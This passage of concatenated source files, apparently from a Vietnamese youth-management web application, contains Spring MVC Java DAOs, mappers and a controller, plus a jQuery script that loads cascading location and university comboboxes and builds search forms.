vn.youthmanager.ict.youth.db.mapper.Sym0014Mapper; /** * * @author nylf1992 * */ @Component public class Sym0014Dao { @Autowired private Sym0014Mapper sym0014Mapper; @Autowired private QltnMCityMapper qltnMCityMapper; @Autowired private QltnMCountryMapper qltnMCountryMapper; @Autowired private QltnMDistrictMapper qltnMDistrictMapper; @Autowired private QltnMWardsMapper qltnMWardsMapper; public Sym0014Mapper getSym0014Mapper() { return sym0014Mapper; } public QltnMCityMapper getQltnMCityMapper() { return qltnMCityMapper; } public QltnMCountryMapper getQltnMCountryMapper() { return qltnMCountryMapper; } public QltnMDistrictMapper getQltnMDistrictMapper() { return qltnMDistrictMapper; } public QltnMWardsMapper getQltnMWardsMapper() { return qltnMWardsMapper; } } ``` a5c3bfecd3717d8178a7a8a0968f07d7176571bd.svn-base ```package vn.youthmanager.ict.youth.db.mapper; import java.util.List; import java.util.Map; import vn.youthmanager.ict.youth.db.model.Sym0015Result; /** * * @author nylf1992 * */ public interface Sym0015Mapper { List<Sym0015Result> searchData(Map<String, Object> params); String getSearchDataTotalCounts(Map<String, Object> params); String getLastIdTown (Map<String, Object> params); } ``` 4b9e33cb7657020b7e6aaa5e6a05f173c4659052.svn-base ```package vn.youthmanager.ict.youth.controller; import java.util.List; import java.util.Locale; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.http.MediaType; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import vn.youthmanager.ict.common.db.model.QltnMEducational; import vn.youthmanager.ict.youth.db.model.Sym0022Conditions; import vn.youthmanager.ict.youth.db.model.Sym0022Result; import vn.youthmanager.ict.youth.service.Sym0022Service; @Controller @RequestMapping(value = "/0022") public class Sym0022Controller { @Autowired private Sym0022Service sym0022Service; @RequestMapping(value = "/", method = RequestMethod.GET) public String top(Locale locale, Model model) { return "youth/0022"; } @RequestMapping(value = "/searchData", method = RequestMethod.POST, consumes = MediaType.APPLICATION_JSON_VALUE) public @ResponseBody List<Sym0022Result> searchData(@RequestBody Sym0022Conditions searchConditions) { return sym0022Service.searchData(searchConditions); } @RequestMapping(value = "/updateData", method = RequestMethod.POST, consumes = MediaType.APPLICATION_JSON_VALUE) public @ResponseBody String updateData(@RequestBody QltnMEducational reportData) { return sym0022Service.updateData(reportData); } @RequestMapping(value = "/insertData", method = RequestMethod.POST, consumes = MediaType.APPLICATION_JSON_VALUE) public @ResponseBody String insertData(@RequestBody QltnMEducational reportData) { return sym0022Service.insertData(reportData); } @RequestMapping(value = "/deleteData", method = RequestMethod.POST) public @ResponseBody String deleteData(@RequestParam(value = "educationId") String educationId) { return sym0022Service.deleteData(educationId); } /** * Get Data In Table QLTN_M_EDUCATIONAL by education Id. * * @param educationId : data from client. * @return List QLTN_M_EDUCATIONAL. */ @RequestMapping(value = "/getSingleData", method = RequestMethod.POST) public @ResponseBody QltnMEducational getSingleData(@RequestParam(value = "educationId") String educationId) { return sym0022Service.getSingleData(educationId); } } ``` Sym0053Dao.java ```package vn.youthmanager.ict.youth.dao; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; import vn.youthmanager.ict.common.db.mapper.QltnMCriteraMapper; import vn.youthmanager.ict.common.db.mapper.QltnMDetailReportMapper; import vn.youthmanager.ict.common.db.mapper.QltnMReportMapper; import vn.youthmanager.ict.youth.db.mapper.Sym0053Mapper; @Component public class Sym0053Dao { @Autowired private QltnMDetailReportMapper qltnMDetailReportMapper; @Autowired private QltnMCriteraMapper qltnMCriteraMapper; @Autowired private QltnMReportMapper qltnMReportMapper; @Autowired private Sym0053Mapper sym0053Mapper; public QltnMDetailReportMapper getQltnMDetailReportMapper() { return qltnMDetailReportMapper; } public void setQltnMDetailReportMapper(QltnMDetailReportMapper qltnMDetailReportMapper) { this.qltnMDetailReportMapper = qltnMDetailReportMapper; } public QltnMCriteraMapper getQltnMCriteraMapper() { return qltnMCriteraMapper; } public void setQltnMCriteraMapper(QltnMCriteraMapper qltnMCriteraMapper) { this.qltnMCriteraMapper = qltnMCriteraMapper; } public QltnMReportMapper getQltnMReportMapper() { return qltnMReportMapper; } public void setQltnMReportMapper(QltnMReportMapper qltnMReportMapper) { this.qltnMReportMapper = qltnMReportMapper; } public Sym0053Mapper getSym0053Mapper() { return sym0053Mapper; } public void setSym0053Mapper(Sym0053Mapper sym0053Mapper) { this.sym0053Mapper = sym0053Mapper; } } ``` Sym0018Result.java ```package vn.youthmanager.ict.youth.db.model; import vn.youthmanager.ict.common.db.model.QltnMUniversity; public class Sym0018Result extends QltnMUniversity { private String level; private String searchDataTotalCounts; public String getSearchDataTotalCounts() { return searchDataTotalCounts; } public void setSearchDataTotalCounts(String searchDataTotalCounts) { this.searchDataTotalCounts = searchDataTotalCounts; } public String getLevel() { return level; } public void setLevel(String level) { this.level = level; } } ``` Sym0022Dao.java ```package vn.youthmanager.ict.youth.dao; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; import vn.youthmanager.ict.common.db.mapper.QltnMEducationalMapper; import vn.youthmanager.ict.youth.db.mapper.Sym0022Mapper; @Component public class Sym0022Dao { @Autowired private Sym0022Mapper sym0022Mapper; @Autowired private QltnMEducationalMapper qltnMEducationalMapper; public Sym0022Mapper getSym0022Mapper() { return sym0022Mapper; } public QltnMEducationalMapper getQltnMEducationalMapper() { return qltnMEducationalMapper; } } ``` AngularController.java ```package vn.youthmanager.ict.youth.controller; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; @Controller @RequestMapping(value="/Angular") public class AngularController { @RequestMapping(value="/" , method = RequestMethod.GET) public String top() { return "viduAjax"; } } ``` Sym0018Dao.java ```package vn.youthmanager.ict.youth.dao; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; import vn.youthmanager.ict.common.db.mapper.QltnMEducationalMapper; import vn.youthmanager.ict.common.db.mapper.QltnMUniversityMapper; import vn.youthmanager.ict.youth.db.mapper.Sym0018Mapper; /** * * @author nylf1992 * */ @Component public class Sym0018Dao { @Autowired private Sym0018Mapper sym0018Mapper; @Autowired private QltnMEducationalMapper qltnMEducationalMapper; @Autowired private QltnMUniversityMapper qltnMUniversityMapper; public Sym0018Mapper getSym0018Mapper() { return sym0018Mapper; } public QltnMUniversityMapper getQltnMUniversityMapper() { return qltnMUniversityMapper; } public QltnMEducationalMapper getQltnMEducationalMapper() { return qltnMEducationalMapper; } } ``` Sym0041Mapper.java ```package vn.youthmanager.ict.youth.db.mapper; import java.util.List; import java.util.Map; import vn.youthmanager.ict.youth.db.model.Sym0041Result; public interface Sym0041Mapper { List<Sym0041Result> searchData(Map<String, Object> params); List<Sym0041Result> getPersonDetail(Map<String, Object> params); String getSearchDataTotalCounts(Map<String, Object> params); String getLastIdGroups (Map<String, Object> params); } ``` 0041.js ```/** * author Nghia Nguyen */ $(document).ready(function(){ // -------------- Slick Grid ------------------------- var grid; var data = []; var columns = [ {id: "btnEdit", name: "", field: "btnEdit", width: 50, formatter:EditFormatter, cssClass: "align-center padding-top5"}, {id: "btnDelete", name: "", field: "btnDelete", width: 50, formatter:DeleteFormatter, cssClass: "align-center padding-top5"}, {id: "kskquanStt", name: KSKQUANSTT, field: "kskquanStt", width: 120, cssClass: "align-center"}, {id: "personName", name: PERSONNAME, field: "personName", width: 120, cssClass: "align-center"}, {id: "lltnStt", name: LLTNSTT, field: "lltnStt", width: 120, cssClass: "align-center"}, {id: "personId", name: PERSONID, field: "personId", width: 120, cssClass: "align-center"}, {id: "personName", name: PERSONNAME1, field: "name", width: 120, cssClass: "align-center"}, {id: "dateOfBirth", name: DATEOFBIRTH, field: "dateOfBirth", width: 120, cssClass: "align-center", editor: Slick.Editors.Date}, {id: "monthOfBirth", name: MONTHOFBIRTH, field: "monthOfBirth", width: 120, cssClass: "align-center", editor: Slick.Editors.Date}, {id: "yearOfBirth", name: YEAROFBIRTH, field: "yearOfBirth", width: 120, cssClass: "align-center", editor: Slick.Editors.Date}, {id: "placeOfBirth", name: PLACEOFBIRTH, field: "placeOfBirth", width: 120, cssClass: "align-center", editor: Slick.Editors.SelectCity}, {id: "identityCard", name: IDENTITYCARD, field: "identityCard", width: 120, cssClass: "align-center"}, {id: "nativeCountry", name: NATIVECOUNTRY, field: "nativeCountry", width: 120, cssClass: "align-center", editor: Slick.Editors.Select}, {id: "nation", name: NATION, field: "nation", width: 120, cssClass: "align-center"}, {id: "religion", name: RELIGION, field: "religion", width: 120, cssClass: "align-center"}, {id: "permanentAddress", name: PERMANENTADDRESS, field: "permanentAddress", width: 120, cssClass: "align-center"}, {id: "temporaryResidenceAddress", name: TEMPORARYRESIDENCEADDRESS, field: "temporaryResidenceAddress", width: 120, cssClass: "align-center"}, {id: "national", name: NATIONAL, field: "national", width: 120, cssClass: "align-center"}, {id: "element", name: ELEMENT, field: "element", width: 120, cssClass: "align-center"}, {id: "graduationYear", name: GRADUATIONYEAR, field: "graduationYear", width: 120, cssClass: "align-center"}, {id: "jobId", name: JOBID, field: "jobId", width: 120, cssClass: "align-center"}, {id: "workPlace", name: WORKPLACE, field: "workPlace", width: 120, cssClass: "align-center"}, ]; var options = { editable: true, enableAddRow: false, enableCellNavigation: true, asyncEditorLoading: false }; //--------------- Constants definition --------------- // number of items in one page in table var ITEM_IN_ONE_PAGE = 20; //--------------- Variables definition --------------- // application path var rootPath = getContextPath(); // search result total data count var totalResultCount = 0; // variables for handling pager var currentPage = 1; var maxPage = 0; var from = 0; // variable to store selected row index var selectedRowIndex = ""; // variable to store current selected mode var currentMode = ""; // variable to check whether cate edits password in EDIT Mode var isPasswordChanged = false; // default variable var cateId = $('#cateId').val(); var statusId = $("#statusId").val(); var personName = $("#personName").val(); var identityCard = $("#identityCard").val(); var countryId = $("#countryId").val(); var cityId = $("#cityId").val(); var districtId = $("#districtId").val(); var wardsId = $("#wardsId").val(); var townId = $("#townId").val(); var groupsId = $("#groupsId").val(); var educationId = $("#educationId").val(); var universityId = $("#universityId").val(); var specializedId = $("#specializedId").val(); //--------------- Constants definition --------------- initComboboxData(false); // Country name combobox change event process $("#cbbCountry").bind("change", function() { // load Area name combobox $('#textCountryName').text($(this).find("option:selected").text()); loadCityDataCombobox(false); }); // Country name combobox change event process $("#cbbCity").bind("change", function() { // load District name combobox loadDistrictDataByCityId(); }); // District name combobox change event process $("#cbbDistrict").bind("change", function() { // load Wards name combobox loadWardsDataByDistrictId(); }); // Wards name combobox change event process $("#cbbWards").bind("change", function() { // load Town name combobox loadTownDataByWardsId(); }); // Town name combobox change event process $("#cbbTown").bind("change", function() { // load Groups name combobox loadGroupsDataByTownId(); }); // univeristy name combobox change event process $("#cbbUniversity").bind("change", function() { // load Town name combobox loadSpecializedDataByUniverisityId(); }); // Load Area name combobox data function loadSpecializedDataByUniverisityId() { var selectedUniversityId = ""; selectedUniversityId = $("#cbbUniversity").find("option:selected").val(); if (selectedUniversityId != STATUS_NO_SELECT) { // make Ajax call to server to get data $.ajax({ type: "POST", url: "getSpecializedDataByUniversityId", data: { "universityId": selectedUniversityId }, async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; // create option string var optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (returnedJsonData != "") { for (var i = 0; i < returnedJsonData.length; i++) { if (returnedJsonData[i].specializedId == specializedId) { optionStr += "<option value='" + returnedJsonData[i].specializedId + "' selected = 'selected'>" + returnedJsonData[i].specializedName + "</option>"; } else { optionStr += "<option value='" + returnedJsonData[i].specializedId + "'>" + returnedJsonData[i].specializedName + "</option>"; } } } // set options to combobox $("#cbbSpecialized").empty().append(optionStr); // enable combobox if (returnedJsonData != "") { $("#cbbSpecialized").prop("disabled", false); } else { // reset empty combobox and disabled $("#cbbSpecialized").empty().append(optionStr).prop("disabled", true); } }, error: function(e) { // display error message alert(ERROR_MESSAGE); } }); } else { // clear combobox $("#cbbSpecialized").empty(); // disable combobox $("#cbbSpecialized").prop("disabled", true); } } // Load Area name combobox data function loadCityDataCombobox() { var selectedCountryId = ""; selectedCountryId = $("#cbbCountry").find("option:selected").val(); if (selectedCountryId != STATUS_NO_SELECT) { // make Ajax call to server to get data $.ajax({ type: "POST", url: "getCityDataByCountryId", data: { "countryId": selectedCountryId }, async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; // create option string var optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (returnedJsonData != "") { for (var i = 0; i < returnedJsonData.length; i++) { if (returnedJsonData[i].cityId == cityId) { optionStr += "<option value='" + returnedJsonData[i].cityId + "' selected = 'selected'>" + returnedJsonData[i].cityName + "</option>"; } else { optionStr += "<option value='" + returnedJsonData[i].cityId + "'>" + returnedJsonData[i].cityName + "</option>"; } } } // set options to combobox $("#cbbCity").empty().append(optionStr); // enable combobox if (returnedJsonData != "") { $("#cbbCity").prop("disabled", false); $("#cbbDistrict").prop("disabled", false); $("#cbbWards").prop("disabled", false); $("#cbbTown").prop("disabled", false); loadDistrictDataByCityId(); } else { // reset empty combobox and disabled $("#cbbCity").empty().append(optionStr).prop("disabled", true); $("#cbbDistrict").empty().append(optionStr).prop("disabled", true); $("#cbbWards").empty().append(optionStr).prop("disabled", true); $("#cbbTown").empty().append(optionStr).prop("disabled", true); $("#cbbGroups").empty().append(optionStr).prop("disabled", true); } }, error: function(e) { // display error message alert(ERROR_MESSAGE); } }); } else { // clear combobox $("#cbbCity").empty(); $("#cbbDistrict").empty(); $("#cbbWards").empty(); $("#cbbTown").empty(); // disable combobox $("#cbbCity").prop("disabled", true); $("#cbbDistrict").prop("disabled", true); $("#cbbWards").prop("disabled", true); $("#cbbTown").prop("disabled", true); $("#cbbGroups").empty().prop("disabled", true); } } function loadDistrictDataByCityId() { var selectedCountryId = ""; selectedCountryId = $("#cbbCountry").find("option:selected").val(); // get cityId var selectCityId = ""; selectCityId = $("#cbbCity").find("option:selected").val(); // create option string var optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (selectedCountryId != STATUS_NO_SELECT) { // make Ajax call to server to get data $.ajax({ type: "POST", url: "getDistrictDataByCityId", data: { "countryId": selectedCountryId, "cityId": selectCityId }, async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; // create option string optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (returnedJsonData != "") { for (var i = 0; i < returnedJsonData.length; i++) { if (returnedJsonData[i].districtId == districtId) { optionStr += "<option value='" + returnedJsonData[i].districtId + "' selected = 'selected'>" + returnedJsonData[i].districtName + "</option>"; } else { optionStr += "<option value='" + returnedJsonData[i].districtId + "'>" + returnedJsonData[i].districtName + "</option>"; } } } // set options to combobox $("#cbbDistrict").empty().append(optionStr); // enable combobox if (returnedJsonData != "") { $("#cbbDistrict").prop("disabled", false); $("#cbbWards").prop("disabled", false); $("#cbbTown").prop("disabled", false); loadWardsDataByDistrictId(); } else { $("#cbbDistrict").empty().append(optionStr).prop("disabled", true); $("#cbbWards").empty().append(optionStr).prop("disabled", true); $("#cbbTown").empty().append(optionStr).prop("disabled", true); $("#cbbGroups").empty().append(optionStr).prop("disabled", true); } }, error: function(e) { // display error message alert(ERROR_MESSAGE); } }); } else { // clear & disable combobox $("#cbbDistrict").empty().append(optionStr).prop("disabled", true); $("#cbbWards").empty().append(optionStr).prop("disabled", true); $("#cbbTown").empty().append(optionStr).prop("disabled", true); $("#cbbGroups").empty().append(optionStr).prop("disabled", true); } } function loadWardsDataByDistrictId() { var selectedCountryId = ""; selectedCountryId = $("#cbbCountry").find("option:selected").val(); // get cityId var selectCityId = ""; selectCityId = $("#cbbCity").find("option:selected").val(); // get District var selectDistrictId = "" selectDistrictId = $("#cbbDistrict").find("option:selected").val(); // create option string var optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (selectedCountryId != STATUS_NO_SELECT && selectCityId != STATUS_NO_SELECT) { // make Ajax call to server to get data $.ajax({ type: "POST", url: "getWardsDataByDistrictId", data: { "countryId": selectedCountryId, "cityId": selectCityId, "districtId" : selectDistrictId }, async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (returnedJsonData != "") { for (var i = 0; i < returnedJsonData.length; i++) { if (returnedJsonData[i].wardsId == wardsId) { optionStr += "<option value='" + returnedJsonData[i].wardsId + "' selected = 'selected'>" + returnedJsonData[i].wardsName + "</option>"; } else { optionStr += "<option value='" + returnedJsonData[i].wardsId + "'>" + returnedJsonData[i].wardsName + "</option>"; } } } // set options to combobox $("#cbbWards").empty().append(optionStr); // enable combobox if (returnedJsonData != "") { $("#cbbWards").prop("disabled", false); $("#cbbTown").prop("disabled", false); loadTownDataByWardsId(); } else { $("#cbbWards").empty().append(optionStr).prop("disabled", true); $("#cbbTown").empty().append(optionStr).prop("disabled", true); $("#cbbGroups").empty().append(optionStr).prop("disabled", true); } }, error: function(e) { // display error message alert(ERROR_MESSAGE); } }); } else { // clear combobox disable combobox $("#cbbWards").empty().append(optionStr).prop("disabled", true); $("#cbbTown").empty().append(optionStr).prop("disabled", true); $("#cbbGroups").empty().append(optionStr).prop("disabled", true); } } function loadTownDataByWardsId() { var selectedCountryId = ""; selectedCountryId = $("#cbbCountry").find("option:selected").val(); // get cityId var selectCityId = ""; selectCityId = $("#cbbCity").find("option:selected").val(); // get District var selectDistrictId = "" selectDistrictId = $("#cbbDistrict").find("option:selected").val(); // get Wards var selectWardsId = "" selectWardsId = $("#cbbWards").find("option:selected").val(); // create option string var optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (selectedCountryId != STATUS_NO_SELECT && selectCityId != STATUS_NO_SELECT && selectWardsId != STATUS_NO_SELECT) { // make Ajax call to server to get data $.ajax({ type: "POST", url: "getTownDataByWardsId", data: { "countryId": selectedCountryId, "cityId": selectCityId, "districtId" : selectDistrictId, "wardsId" : selectWardsId }, async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (returnedJsonData != "") { for (var i = 0; i < returnedJsonData.length; i++) { if (returnedJsonData[i].townId == townId) { optionStr += "<option value='" + returnedJsonData[i].townId + "' selected = 'selected'>" + returnedJsonData[i].townName + "</option>"; } else { optionStr += "<option value='" + returnedJsonData[i].townId + "'>" + returnedJsonData[i].townName + "</option>"; } } } // set options to combobox $("#cbbTown").empty().append(optionStr); // enable combobox if (returnedJsonData != "") { $("#cbbTown").prop("disabled", false); loadGroupsDataByTownId(); } else { $("#cbbTown").empty().append(optionStr).prop("disabled", true); } }, error: function(e) { // display error message alert(ERROR_MESSAGE); } }); } else { // clear combobox disable combobox $("#cbbTown").empty().append(optionStr).prop("disabled", true); } } function loadGroupsDataByTownId() { var selectedCountryId = ""; selectedCountryId = $("#cbbCountry").find("option:selected").val(); // get cityId var selectCityId = ""; selectCityId = $("#cbbCity").find("option:selected").val(); // get District var selectDistrictId = "" selectDistrictId = $("#cbbDistrict").find("option:selected").val(); // get Wards var selectWardsId = "" selectWardsId = $("#cbbWards").find("option:selected").val(); // get Town var selectTownId = "" selectTownId = $("#cbbTown").find("option:selected").val(); // create option string var optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (selectedCountryId != STATUS_NO_SELECT && selectCityId != STATUS_NO_SELECT && selectWardsId != STATUS_NO_SELECT) { // make Ajax call to server to get data $.ajax({ type: "POST", url: "getGroupsDataByTownId", data: { "countryId": selectedCountryId, "cityId": selectCityId, "districtId" : selectDistrictId, "wardsId" : selectWardsId, "townId" : selectTownId }, async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (returnedJsonData != "") { for (var i = 0; i < returnedJsonData.length; i++) { if (returnedJsonData[i].groupsId == groupsId) { optionStr += "<option value='" + returnedJsonData[i].groupsId + "' selected = 'selected'>" + returnedJsonData[i].groupsName + "</option>"; } else { optionStr += "<option value='" + returnedJsonData[i].groupsId + "'>" + returnedJsonData[i].groupsName + "</option>"; } } } // set options to combobox $("#cbbGroups").empty().append(optionStr); // enable combobox if (returnedJsonData != "") { $("#cbbGroups").prop("disabled", false); //loadDistrictDataByCityId(); } else { $("#cbbGroups").empty().append(optionStr).prop("disabled", true); } }, error: function(e) { // display error message alert(ERROR_MESSAGE); } }); } else { // clear combobox disable combobox $("#cbbGroups").empty().append(optionStr).prop("disabled", true); } } // Search button event process $("#btnRegister").click(function() { $('<form>', { "id": "formTransfer", "html": '', "method": 'POST', "action": rootPath + '/0043/' }).appendTo(document.body).submit(); }); function resetSearchConditions() { $("#txtCountryNamePopup").val(""); $("#txtCityNamePopup").val(""); $("#txtDistrictNamePopup").val(""); $("#txtWardsNamePopup").val(""); $("#txtTownNamePopup").val(""); $("#txtGroupsIdPopup").val(""); $("#txtGroupsCodePopup").val(""); $("#txtGroupsNamePopup").val(""); } // Check input: blank fields function checkInputBlankFields() { if ($("#txtGroupsNamePopup").val() == "" || $("#txtGroupsCodePopup").val() == "") { return false; } else { return true; } } // Get data for combobox country function initComboboxData(isPopupMode) { // country if (countryData != "") { var optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; for (var i = 0; i < countryData.length; i++) { if (i == 0) { optionStr += "<option value='" + countryData[i].countryId + "' selected = 'selected'>" + countryData[i].countryName + "</option>"; $('#textCountryName').text(countryData[i].countryName); } else { optionStr += "<option value='" + countryData[i].countryId + "'>" + countryData[i].countryName + "</option>"; } } $("#cbbCountry > ").empty() $("#cbbCountry").append(optionStr); loadCityDataCombobox(); } else { $("#cbbCountry > ").empty() $("#cbbCountry").prop("disabled", true); } // Cate if (cateData != "") { var optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; for (var i = 0; i < cateData.length; i++) { if (i == 0) { optionStr += "<option value='" + cateData[i].cateId + "' selected = 'selected'>" + cateData[i].cateName + "</option>"; $('#textCountryName').text(cateData[i].countryName); } else { optionStr += "<option value='" + cateData[i].cateId + "'>" + cateData[i].cateName + "</option>"; } } $("#cbbCate > ").empty() $("#cbbCate").append(optionStr); } else { $("#cbbCate > ").empty() $("#cbbCate").prop("disabled", true); } // Status if (statusData != "") { var optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; for (var i = 0; i < statusData.length; i++) { if (i == 0) { optionStr += "<option value='" + statusData[i].statusId + "' selected = 'selected'>" + statusData[i].statusName + "</option>"; } else { optionStr += "<option value='" + statusData[i].statusId + "'>" + statusData[i].statusName + "</option>"; } } $("#cbbStatus > ").empty() $("#cbbStatus").append(optionStr); } else { $("#cbbStatus > ").empty() $("#cbbStatus").prop("disabled", true); } // Education if (eduactionData != "") { var optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; for (var i = 0; i < eduactionData.length; i++) { if (i == 0) {/*slkflsfkls*/ optionStr += "<option value='" + eduactionData[i].educationId + "' selected = 'selected'>" + eduactionData[i].level + "</option>"; } else { optionStr += "<option value='" + eduactionData[i].educationId + "'>" + eduactionData[i].level + "</option>"; } } $("#cbbEducation > ").empty() $("#cbbEducation").append(optionStr); } else { $("#cbbEducation > ").empty() $("#cbbEducation").prop("disabled", true); } // University if (universityData != "") { var optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; for (var i = 0; i < universityData.length; i++) { if (i == 0) { optionStr += "<option value='" + universityData[i].universityId + "' selected = 'selected'>" + universityData[i].universityName + "</option>"; } else { optionStr += "<option value='" + universityData[i].universityId + "'>" + universityData[i].universityName + "</option>"; } } $("#cbbUniversity > ").empty() $("#cbbUniversity").append(optionStr); loadSpecializedDataByUniverisityId(); } else { $("#cbbUniversity > ").empty() $("#cbbUniversity").prop("disabled", true); } // set personName to textbox if (personName != "") { $("#txtPersonName").val(personName); } // set identity Card if (identityCard != "") { $("#txtIdentityCard").val(identityCard); } drawTable(); } // Search button event process $("#btnSearch").bind("click", function() { // farm Id var countryId = $("#cbbCountry").find("option:selected").val(); var cityId = $("#cbbCity").find("option:selected").val(); var districtId = $("#cbbDistrict").find("option:selected").val(); var wardsId = $("#cbbWards").find("option:selected").val(); var townId = $("#cbbTown").find("option:selected").val(); var cateId = $("#cbbCate").find("option:selected").val(); var statusId = $("#cbbStatus").find("option:selected").val(); var educationId = $("#cbbEducation").find("option:selected").val(); var identityCard = $("#txtIdentityCard").val(); var personName = $("#txtPersonName").val(); var universityId = $("#cbbUniversity").find("option:selected").val(); var specializedId = $("#cbbSpecialized").find("option:selected").val(); var groupsId = $("#cbbGroups").find("option:selected").val(); $('<form>', { "id": "formTranfer", "html": '<input type="hidden" id="countryId" name="countryId" value="' + countryId + '" />' + '<input type="hidden" id="cityId" name="cityId" value="' + cityId + '" />' + '<input type="hidden" id="districtId" name="districtId" value="' + districtId + '" />' + '<input type="hidden" id="wardsId" name="wardsId" value="' + wardsId + '" />' + '<input type="hidden" id="cateId" name="cateId" value="' + cateId + '" />' + '<input type="hidden" id="statusId" name="statusId" value="' + statusId + '" />' + '<input type="hidden" id="educationId" name="educationId" value="' + educationId + '" />' + '<input type="hidden" id="identityCard" name="identityCard" value="' + identityCard + '" />' + '<input type="hidden" id="personName" name="personName" value="' + personName + '" />' + '<input type="hidden" id="universityId" name="universityId" value="' + universityId + '" />' + '<input type="hidden" id="specializedId" name="specializedId" value="' + specializedId + '" />' + '<input type="hidden" id="groupsId" name="groupsId" value="' + groupsId + '" />' + '<input type="hidden" id="townId" name="townId" value="' + townId + '" />' , "method": 'POST', "action": 'changePage' }).appendTo(document.body).submit(); }); $("#btnSearchIcon").bind("click", function() { // display user info popup showPopup($("#popupWrapper")); }); // Draw cate data table based on search conditions function drawTable() { // variables definition var returnValue = ""; var dataObject = null; // get search conditions dataObject = createSearchConditions(); // make Ajax call to server to get data $.ajax({ type: "POST", url: "searchData", contentType: "application/json", data: JSON.stringify(dataObject), async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; if (returnedJsonData != "") { // set the real search total count totalResultCount = returnedJsonData[0].searchDataTotalCounts; if (parseInt(totalResultCount) == -1) { // OutOfMemoryException, display error message jWarning(SEARCH_RESULT_OUT_OF_MEMORY_MESSAGE, DIALOG_TITLE, DIALOG_OK_BUTTON); } else { /*// calculate max page var calculatedResultOdd = parseInt(totalResultCount) % parseInt(ITEM_IN_ONE_PAGE); var calculatedResult = Math.floor(parseInt(totalResultCount) / parseInt(ITEM_IN_ONE_PAGE)); maxPage = (calculatedResultOdd == 0) ? calculatedResult : (calculatedResult + 1); // update pager $("#lblCurrentPage").text(currentPage); $("#lblMaxPage").text(maxPage); // clear table $("#tblBody").find("tbody").remove(); // create table starts var tableStringArray = []; // add tbody open tag tableStringArray.push("<tbody>"); for (var i = 0; i < returnedJsonData.length; i++) { // row open tag tableStringArray.push("<tr id='row" + i + "'>"); // district Code tableStringArray.push("<td class='align-center' id= '"+returnedJsonData[i].personId+"'>" + returnedJsonData[i].personId + "</td>"); // district name tableStringArray.push("<td class='align-center' id = '" + returnedJsonData[i].personId + "' >" + returnedJsonData[i].personName + "</td>"); tableStringArray.push("<td class='align-center' id= '"+returnedJsonData[i].personId+"'>" + returnedJsonData[i].personId + "</td>"); // district name tableStringArray.push("<td class='align-center' id = '" + returnedJsonData[i].personId + "' >" + returnedJsonData[i].personName + "</td>"); tableStringArray.push("<td class='align-center' id= '"+returnedJsonData[i].personId+"'>" + returnedJsonData[i].personId + "</td>"); // district name tableStringArray.push("<td class='align-center' id = '" + returnedJsonData[i].personId + "' >" + returnedJsonData[i].personName + "</td>"); tableStringArray.push("<td class='align-center' id= '"+returnedJsonData[i].personId+"'>" + returnedJsonData[i].personId + "</td>"); // district name tableStringArray.push("<td class='align-center' id = '" + returnedJsonData[i].personId + "' >" + returnedJsonData[i].personName + "</td>"); tableStringArray.push("<td class='align-center' id= '"+returnedJsonData[i].personId+"'>" + returnedJsonData[i].personId + "</td>"); // district name tableStringArray.push("<td class='align-center' id = '" + returnedJsonData[i].personId + "' >" + returnedJsonData[i].personName + "</td>"); tableStringArray.push("<td class='align-center' id= '"+returnedJsonData[i].personId+"'>" + returnedJsonData[i].personId + "</td>"); // district name tableStringArray.push("<td class='align-center' id = '" + returnedJsonData[i].personId + "' >" + returnedJsonData[i].personName + "</td>"); tableStringArray.push("<td class='align-center' id= '"+returnedJsonData[i].personId+"'>" + returnedJsonData[i].personId + "</td>"); // district name tableStringArray.push("<td class='align-center' id = '" + returnedJsonData[i].personId + "' >" + returnedJsonData[i].personName + "</td>"); tableStringArray.push("<td class='align-center' id= '"+returnedJsonData[i].personId+"'>" + returnedJsonData[i].personId + "</td>"); // district name tableStringArray.push("<td class='align-center' id = '" + returnedJsonData[i].personId + "' >" + returnedJsonData[i].personName + "</td>"); tableStringArray.push("<td class='align-center' id= '"+returnedJsonData[i].personId+"'>" + returnedJsonData[i].personId + "</td>"); // district name tableStringArray.push("<td class='align-center' id = '" + returnedJsonData[i].personId + "' >" + returnedJsonData[i].personName + "</td>"); tableStringArray.push("<td class='align-center' id= '"+returnedJsonData[i].personId+"'>" + returnedJsonData[i].personId + "</td>"); // district name tableStringArray.push("<td class='align-center' id = '" + returnedJsonData[i].personId + "' >" + returnedJsonData[i].personName + "</td>"); // update icon tableStringArray.push("<td><img class='edit cursor-pointer' name='" + i + "' src='" + rootPath + "/resources/img/icon_edit.png'></td>"); // delete icon tableStringArray.push("<td><img class='delete cursor-pointer' name='" + i + "' src='" + rootPath 